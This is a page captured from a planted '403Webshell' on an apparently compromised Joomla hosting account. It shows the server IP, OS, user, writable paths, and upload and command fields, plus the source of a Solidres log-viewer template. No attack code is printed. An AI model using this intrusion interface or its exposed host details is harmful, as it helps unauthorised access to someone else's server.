403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/ptitsanes/administrator/components/com_solidres/views/system/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/ptitsanes/administrator/components/com_solidres/views/system/tmpl/default_logs.php
<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;
$app   = JFactory::getApplication();
$path  = $app->get('log_path');
$files = array();

if (JFolder::exists($path))
{
	$files = JFolder::files($path, 'php|txt|log', false, false);
}

?>
<h3>
    System logs
</h3>
<div id="sr-system-logs">
    <select style="margin: 0">
        <option value="">Select a log file</option>
		<?php foreach ($files as $file): ?>
            <option value="<?php echo htmlspecialchars($file); ?>">
				<?php
				$size     = filesize($path . '/' . $file);
				$sizeInMB = $size / pow(1024, 2);
				echo $file . ' (';

				if ($sizeInMB > 0.99)
				{
					echo number_format($sizeInMB, 2) . ' MB)';
				}
				else
				{
					echo number_format(($size / 1024), 2) . ' KB)';
				}

				?>
            </option>
		<?php endforeach; ?>
    </select>
    <div class="btn-group" style="display: none">
        <a href="#" class="btn btn-view"><i class="icon-eye"></i> View</a>
        <a href="#" class="btn btn-download" target="_blank"><i class="icon-download"></i> Download</a>
    </div>
</div>
<script>
    Solidres.jQuery(document).ready(function ($) {
        $('#sr-system-logs>select').on('change', function () {
            var file = $.trim($(this).val());
            if (file === '') {
                $('#sr-system-logs .btn-group').slideUp();
                $('#sr-system-logs .btn-download').attr('href', '#');
            } else {
                $('#sr-system-logs .btn-group').slideDown();
                $('#sr-system-logs .btn-download').attr('href', '<?php echo JUri::base(true) . '/index.php?option=com_solidres&task=system.downloadLogFile'; ?>&file=' + file);
            }
        });

        $('#sr-system-logs .btn-view').on('click', function (e) {
            e.preventDefault();
            var file = $('#sr-system-logs>select').val().toString();
            if ($('#sr-system-logs > .file-content').length) {
                var pre = $('#sr-system-logs>.file-content').slideUp().empty();
            } else {
                var pre = $('<div class="file-content"/>');
                $('#sr-system-logs').append(pre);
            }
            if (file != '') {
                var spinner = $('<i class="fa fa-spin fa-spinner"/>');
                $(this).after(spinner);
                $.ajax({
                    url: '<?php echo JRoute::_('index.php?option=com_solidres&task=system.getLogFile', false); ?>',
                    type: 'post',
                    dataType: 'json',
                    data: {
                        file: file,
                        '<?php echo JSession::getFormToken(); ?>': 1
                    },
                    success: function (response) {
                        spinner.remove();
                        pre
                            .html('<pre style="max-height: 550px; margin-top: 15px; overflow-y:scroll;">' + response.content + '</pre>')
                            .slideDown();
                        $('body').animate({scrollTop: pre.offset().top}, 500);
                    }
                });
            }
        });
    });
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit